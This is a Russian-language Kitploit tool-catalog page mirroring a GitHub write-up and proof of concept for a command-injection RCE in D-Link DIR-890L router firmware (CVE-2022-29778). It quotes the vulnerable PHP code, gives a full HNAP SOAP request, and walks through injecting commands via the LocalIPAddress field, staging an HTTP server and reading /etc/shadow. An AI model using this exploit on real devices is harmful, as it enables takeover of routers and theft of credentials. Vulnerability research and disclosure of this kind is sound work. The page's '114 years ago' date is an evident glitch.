Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/tyeyeah/dir-890l-1.20-rce
Безопасность встроенных системБезопасность IoTАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и Управление
GitHubtyeyeah/dir-890l-1.20-rce

DIR-890L-1.20-RCE

Анализ и PoC для D-Link DIR-890L RCE (CVE-2022-29778)

Репозиторий
114 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

D-Link DIR-890L RCE

Затронутая версия: <= v1.22B01 Hotfix (последняя)

Firmware: Here

Эта модель достигла конца своего жизненного цикла. Ресурсы, связанные с этими продуктами, прекратили разработку и больше не поддерживаются. Компания D-Link Systems, Inc. рекомендует вывести эти продукты из эксплуатации и заменить их продуктами, получающими обновления прошивки.

Уязвимость

В ее прошивке мы можем найти функцию getWOLMAC в SetVirtualServerSettings.php

root@kitploit:~
function getWOLMAC($ipv4addr)
{
	$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
	setattr("/runtime/wakeonlan/mac", "get", $cmd);
	$mac = get("", "/runtime/wakeonlan/mac");
	del("/runtime/wakeonlan/mac");
	return $mac;
}

Команда $cmd конкатенирует $ipv4addr напрямую без фильтрации, и она вызывается в

root@kitploit:~
		$ipv4addr = get("x", "LocalIPAddress");
        ...
		if($description == "Wake-On-Lan")
		{
			$wolmac = getWOLMAC($ipv4addr);
			set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
		}

Таким образом, когда вы устанавливаете $description (соответствующее имени виртуального сервера) как "Wake-On-Lan", возможно существование RCE (удаленное выполнение команд) на страницах, связанных с виртуальным сервером: /VirtualServer.html.

Эксплуатация

  • Требуется аутентификация, поэтому сначала войдите. Login Home

  • Затем посетите страницу виртуального сервера (/VirtualServer.html), которая недоступна через панель управления. Virtual Server

  • Добавьте правило с именем Wake-On-Lan. Add rule Rule results

  • Запустите burpsuite перед нажатием кнопки Save и перехватите следующий пакет: packet

root@kitploit:~
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SetVirtualServerSettings>
			<VirtualServerList>
				<VirtualServerInfo>
					<Enabled>true</Enabled>
					<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
					<ExternalPort>1</ExternalPort>
					<InternalPort>1</InternalPort>
					<ProtocolType>TCP</ProtocolType>
					<ProtocolNumber>6</ProtocolNumber>
					<LocalIPAddress>192.168.0.100</LocalIPAddress>
					<ScheduleName></ScheduleName>
				</VirtualServerInfo>
			</VirtualServerList>
		</SetVirtualServerSettings>
	</soap:Body>
</soap:Envelope>
  • Подготовьте HTTP-сервер, затем:
    python server

  • Используйте модуль Repeater для тестирования RCE (удаленное выполнение команд): burpsuite

  • И мы получаем: result

  • Протестируйте внедрение команд и чтение /etc/shadow: command ls /busy/box result command ls /busybox -al result command cat /etc/shadow result

Скачать инструмент